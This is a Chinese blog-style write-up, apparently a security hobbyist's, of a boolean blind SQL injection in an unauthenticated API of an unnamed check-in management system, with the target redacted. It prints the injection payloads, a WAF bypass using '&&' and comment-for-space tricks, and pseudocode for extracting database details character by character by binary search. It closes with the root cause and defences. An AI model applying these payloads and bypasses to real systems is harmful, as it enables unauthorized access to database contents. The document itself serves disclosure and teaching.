某报到管理系统接口布尔盲注

原创

添柴不加火
添柴不加火

希泽Sec

2026年10月8日 20:15
山东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

DEEP OCEAN

某报到管理系统接口布尔盲注

导读 · CONTENTS

01漏洞描述

02基本信息

03复现步骤

声明：本文仅供学习参考，任何违法行为均与作者无关

01

漏洞描述

SECTION

目标 https://xxx 为“报到管理系统”。其 /api/parameter\_list.php接口无需登录即可访问，Lei 参数直接拼接进 语句，如：

CODE

WHERE Lei='...' ORDER BY Xu

未做任何过滤。攻击者可通过布尔盲注逐字符提取数据库任意数据。经测试，当前数据库名为 xxx，数据库用户为 xxx，操作系统为 Linux，数据目录为 /xxx/，且 secure\_file\_priv 为 NULL 等。存在 WAF，但已通过 &&、/\\/、ascii(substring()) 绕过。

02

基本信息

SECTION

03

复现步骤

STEPS

1 接口公开可达

直接访问：

CODE

https://xxx/api/parameter\_list.php?Lei=省

未登录返回 30 条省份 JSON，确认接口公开可达。

2 单引号触发报错

传入：

CODE

Lei=省'

返回 My 原始报错，暴露 语句结构：

CODE

near ''? ORDER BY Xu

说明 Lei 被直接拼接进 ，如：

CODE

WHERE Lei='...' ORDER BY Xu

未做参数化、白名单或过滤。

3 布尔盲注确认

构造真条件与假条件，观察返回差异。

真条件类似：

CODE

Lei=省' && '1'='1

假条件类似：

CODE

Lei=省' && '1'='2

真条件返回完整 30 条省份 JSON；假条件返回空数组或明显不同内容。布尔差异明显，注入点确认。

sqlmap测试触发了WAF，但是确定了存在注入，如下：

CODE

WAF拦截了AND、OR、SELECT、UNION等关键字，但使用&&运算符可完全绕过。

构造真条件：Lei=省' && '1'='1

假条件：Lei=省' && '1'='2

4 编写脚本模拟手工注入

编写 Python 脚本模拟手工注入，使用二分法逐字符提取数据库信息，成功获取数据库名、用户、操作系统、数据目录、secure\_file\_priv 等关键信息。核心逻辑为：

CODE

仅示意逻辑，不提供完整可运行脚本

1. 构造 payload

payload = \"省' && ascii(substring((SQL表达式), 位置, 1)) > 二分值 && '1'='1\"

2. 发送请求，根据响应判断真假

真：返回完整 JSON，不包含 []

假：返回 [] 或长度明显不同

3. 二分法逐字符提取

low = 32, high = 126

mid = (low + high) // 2

若 ascii(...) > mid 为真，则 low = mid + 1

否则 high = mid

最终 chr(low) 即当前字符

4. 提取目标

database()

current\_user()

@@version\_compile\_os

@@datadir

@@secure\_file\_priv

根据响应是否包含[]、响应长度是否大于特定值等判断真假，然后不断二分，最终还原字符。

注：完整可运行脚本已省略，仅保留逻辑说明。

5 成功获取关键信息

通过布尔盲注获取：

POINT 1数据库名：xxx

POINT 2当前用户：xxx

POINT 3操作系统：Linux

POINT 4数据目录：/xxx/

POINT 5secure\_file\_priv：NULL

04

要点

SECTION

POINT 1注入根因：用户输入被直接拼接到语句中。

POINT 2布尔盲注特征：页面不直接回显数据，但真假条件会导致响应内容、长度、状态差异。

POINT 3常见绕过：&& 替代 AND，/\\/ 替代空格，ascii(substring())逐字符比较。

POINT 4防御核心：参数化查询、白名单校验、最小权限、关闭详细报错、WAF + 日志监控。

添添柴不加火

我是添柴不加火，网络安全爱好者，不定时分享一些网安知识、学习笔记和工具安装等等，期待和你共同进步^\_^。

如果觉得有用，欢迎点赞、在看、转发三连。